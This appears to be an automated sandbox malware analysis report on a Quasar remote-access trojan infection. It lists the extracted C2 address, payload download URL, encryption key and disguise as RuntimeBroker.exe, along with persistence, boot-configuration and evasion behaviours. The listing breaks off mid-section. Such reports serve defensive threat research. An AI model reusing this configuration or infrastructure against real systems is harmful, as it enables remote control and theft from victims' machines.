Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
292s -
max time network
294s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
30/12/2024, 03:24
Static task
static1
URLScan task
urlscan1
Errors
Malware Config
Extracted
https://captcha.cam/file.b64
Extracted
quasar
1.4.1
28
194.26.192.167:2768
859d5f90-e2d0-4b2d-ba9f-5371df032ec2
-
encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
-
install_name
RuntimeBroker.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
RuntimeBroker
-
subdirectory
RuntimeBroker
Signatures
-
Quasar family
-
Quasar payload 2 IoCs
resource yara_rule behavioral1/files/0x0007000000023ce4-543.dat family_quasar behavioral1/memory/3752-559-0x0000000000220000-0x0000000000544000-memory.dmp family_quasar -
Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs
pid Process 868 bcdedit.exe 4212 bcdedit.exe 7032 bcdedit.exe 6188 bcdedit.exe 6252 bcdedit.exe 6392 bcdedit.exe 6272 bcdedit.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 89 380 powershell.exe -
pid Process 3612 powershell.exe 5160 powershell.exe 5464 powershell.exe 5156 powershell.exe 5452 powershell.exe 3120 powershell.exe 1468 powershell.exe 5684 powershell.exe 5764 powershell.exe 1620 powershell.exe 5292 powershell.exe 5160 powershell.exe -
A potential corporate email address has been identified in the URL: currency-file@1
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation RuntimeBroker.exe -
Executes dropped EXE 2 IoCs
pid Process 3752 RuntimeBroker.exe 1576 RuntimeBroker.exe -
Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-OptionalFeature-DisposableClientVM-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Compute-Host-Containers-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MSMQ-MMC-OptGroup-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\catroot2\edb0001B.log powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.19041.844.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-KMCL-Host-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-RestrictedCodecsDolby-WOW64-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.19041.1202.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WindowsSearchEngineSKU-Group-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\DiskIo-QoS-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppServerClient-OptGroup-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~amd64~de-DE~11.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-InternetPrinting-Client-Opt-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-VirtualDevice-Synthetic-merged-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.19041.1202.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PhotoBasic-PictureTools-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Media-Foundation-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Holographic-Desktop-Analog-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TextPrediction-Dictionaries-en-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-MFCore-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-DisposableClientVM-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.19041.1288.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-IsolatedVM-SVC-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\microsoft-windows-RemoteFX-clientVM-RemoteFXWDDMDriver-WOW64-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-RestrictedCodecsDolby-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-WOW64-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-VMMS-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-VmTpm-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.264.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-Containers-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TextPrediction-Dictionaries-fr-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-UX-UI-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EventLogAPI-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-UtilityVM-Containers-Shared-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-LanguageFeatures-Handwriting-ja-jp-Package~31bf3856ad364e35~wow64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Worker-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Embedded-DialogBlocking-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1151.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Storage-VirtualDevice-FibreChannel-merged-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NetFx-Shared-WPF-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-LPRPortMonitor-Opt-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Opt-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Host-Devices-EmulatedChipset-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat powershell.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 20 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe -
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "162" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe -
Modifies registry class 6 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings firefox.exe Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings firefox.exe Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings powershell.exe -
NTFS ADS 1 IoCs
description ioc Process File created C:\Users\Admin\Downloads\t.cmd:Zone.Identifier firefox.exe -
Opens file in notepad (likely ransom note) 3 IoCs
pid Process 6040 NOTEPAD.EXE 5424 NOTEPAD.EXE 5356 NOTEPAD.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3128 schtasks.exe 3456 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 62 IoCs
pid Process 3120 powershell.exe 3120 powershell.exe 3120 powershell.exe 1620 powershell.exe 1620 powershell.exe 1620 powershell.exe 3612 powershell.exe 3612 powershell.exe 3612 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 1468 powershell.exe 1468 powershell.exe 1468 powershell.exe 3896 powershell.exe 3896 powershell.exe 3896 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 5160 powershell.exe 5160 powershell.exe 5160 powershell.exe 5292 powershell.exe 5292 powershell.exe 5292 powershell.exe 5464 powershell.exe 5464 powershell.exe 5464 powershell.exe 5576 powershell.exe 5576 powershell.exe 5576 powershell.exe 5684 powershell.exe 5684 powershell.exe 5684 powershell.exe 5804 powershell.exe 5804 powershell.exe 5804 powershell.exe 5156 powershell.exe 5156 powershell.exe 5156 powershell.exe 5160 powershell.exe 5160 powershell.exe 5160 powershell.exe 5452 powershell.exe 5452 powershell.exe 5452 powershell.exe 5484 powershell.exe 5484 powershell.exe 5484 powershell.exe 5764 powershell.exe 5764 powershell.exe 5764 powershell.exe 5596 powershell.exe 5596 powershell.exe 5596 powershell.exe 2256 powershell.exe 2256 powershell.exe 1624 powershell.exe 1624 powershell.exe 1624 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1576 RuntimeBroker.exe -
Suspicious use of AdjustPrivilegeToken 35 IoCs
description pid Process Token: SeDebugPrivilege 3164 firefox.exe Token: SeDebugPrivilege 3164 firefox.exe Token: SeDebugPrivilege 3120 powershell.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeDebugPrivilege 3612 powershell.exe Token: SeDebugPrivilege 5024 powershell.exe Token: SeDebugPrivilege 1468 powershell.exe Token: SeDebugPrivilege 3896 powershell.exe Token: SeDebugPrivilege 380 powershell.exe Token: SeDebugPrivilege 3752 RuntimeBroker.exe Token: SeDebugPrivilege 1576 RuntimeBroker.exe Token: SeDebugPrivilege 5160 powershell.exe Token: SeDebugPrivilege 5292 powershell.exe Token: SeDebugPrivilege 5464 powershell.exe Token: SeDebugPrivilege 5576 powershell.exe Token: SeDebugPrivilege 5684 powershell.exe Token: SeDebugPrivilege 5804 powershell.exe Token: SeDebugPrivilege 5156 powershell.exe Token: SeDebugPrivilege 5160 powershell.exe Token: SeDebugPrivilege 5452 powershell.exe Token: SeDebugPrivilege 5484 powershell.exe Token: SeDebugPrivilege 5764 powershell.exe Token: SeDebugPrivilege 5596 powershell.exe Token: SeDebugPrivilege 3164 firefox.exe Token: SeDebugPrivilege 3164 firefox.exe Token: SeDebugPrivilege 3164 firefox.exe Token: SeDebugPrivilege 2256 powershell.exe Token: SeDebugPrivilege 4728 firefox.exe Token: SeDebugPrivilege 4728 firefox.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 4728 firefox.exe Token: SeDebugPrivilege 4728 firefox.exe Token: SeDebugPrivilege 4728 firefox.exe Token: SeShutdownPrivilege 2024 shutdown.exe Token: SeRemoteShutdownPrivilege 2024 shutdown.exe -
Suspicious use of FindShellTrayWindow 44 IoCs
pid Process 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 5356 NOTEPAD.EXE 5424 NOTEPAD.EXE 6040 NOTEPAD.EXE 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe -
Suspicious use of SendNotifyMessage 38 IoCs
pid Process 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe 4728 firefox.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3164 firefox.exe 1576 RuntimeBroker.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 3164 firefox.exe 4728 firefox.exe 2216 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 4312 wrote to memory of 3164 4312 firefox.exe 83 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 